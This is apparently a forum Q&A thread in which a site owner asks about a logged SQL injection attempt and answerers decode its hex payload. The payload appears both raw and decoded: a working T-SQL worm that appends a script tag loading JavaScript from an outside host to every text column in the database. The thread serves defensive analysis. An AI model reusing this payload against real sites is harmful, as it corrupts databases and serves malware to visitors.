Attempted SQL injection attack - what are they trying to do?

Question

I have a public facing website that has been receiving a number of SQL injection attacks over the last few weeks. I exclusively use parameterised stored procedures so I believe that there has been no successful attacks, but a recent log showed an interesting technique:

Line breaks added for clarity

http://www.mydummysite.uk/mypage.asp?l_surname=Z;DECLARE%20@S%20CHAR(4000);SET 
@S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263 
686172283430303029204445434C415245205461626C655F437572736F7220435552534F 
5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F
626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E69 
6420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F72 
20622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970 
653D31363729204F50454E205461626C655F437572736F72204645544348204E45585420 
46524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528 
404046455443485F5354415455533D302920424547494E20657865632827757064617465 
205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C 
736372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F6373 
7273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D2077 
6865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C73 
6372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F637372 
73732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E455854 
2046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E442043 
4C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F43
7572736F72 AS CHAR(4000));EXEC(@S);&_X="

Can anyone shed light on what the "CAST and EXEC" is attempting to do?

Answer 1

Below is the decoded SQL that they were trying to push:

DECLARE @T varchar(255),
        @C varchar(4000) 

DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name
FROM sysobjects a,syscolumns b 
WHERE a.id=b.id 
AND a.xtype='u' 
AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) 

OPEN Table_Cursor FETCH NEXT 
FROM Table_Cursor INTO @T,@C 
WHILE(@@FETCH_STATUS=0) 
  BEGIN exec('update ['+@T+'] SET ['+@C+']=''"></title><script src="http://www2.s800qn.cn/csrss/w.js"&gt;&lt;/script&gt;&lt;!--''+['+@C+'] WHERE '+@C+' NOT like ''%"></title><script src="http://www2.s800qn.cn/csrss/w.js"&gt;&lt;/script&gt;&lt;!--''')
  FETCH NEXT FROM  Table_Cursor INTO @T,@C 
END CLOSE Table_Cursor 

DEALLOCATE Table_Cursor

Answer 2

The code, when decyphered from hex into chars, seems to go through all your database tables, select all columns that are of text/char type, and at the end of each value of this type add a malicious script execution from http://www2.s800qn.cn/csrss/w.js. Now if in your website, you have at least one place where you don't escape text data retrieved from your database, your site's users will have this malicious script executed on their machines.

Answer 3

I think we've had this attack before. It's trying to insert a <script> tag in every field in every table in the database.

Answer 4

The simplest Python algorithm to decypher the hex code is this:

text = "4445434C415245204054207661726368617228323535292C404..."

def getText():
    for i in range(0, len(text), 2):
        byte = text[i:i+2]
        char = int(byte, 16)
        toPrint = chr(char)
        yield toPrint

print ''.join(getText())

Answer 5

Run this, for example in mysql:

select CAST(0x44...72 AS CHAR(4000)) as a;

and you'll know. Ishmaeel pasted the code.

This is a SQLserver worm, not a targeted atatck.

Answer 6

It's an adware-dropper script, built to clog up your database with <script> tags that show up on your pages. It's encoded because most servers would explode if you tried to push that junk through the URL.

Most things like this are random-attempt-attacks in that they'll hit anything with a querystring but it might be a targeted attack. Test your site to make sure it's not letting any SQL from querystrings execute. Just using parametrised queries should cover you.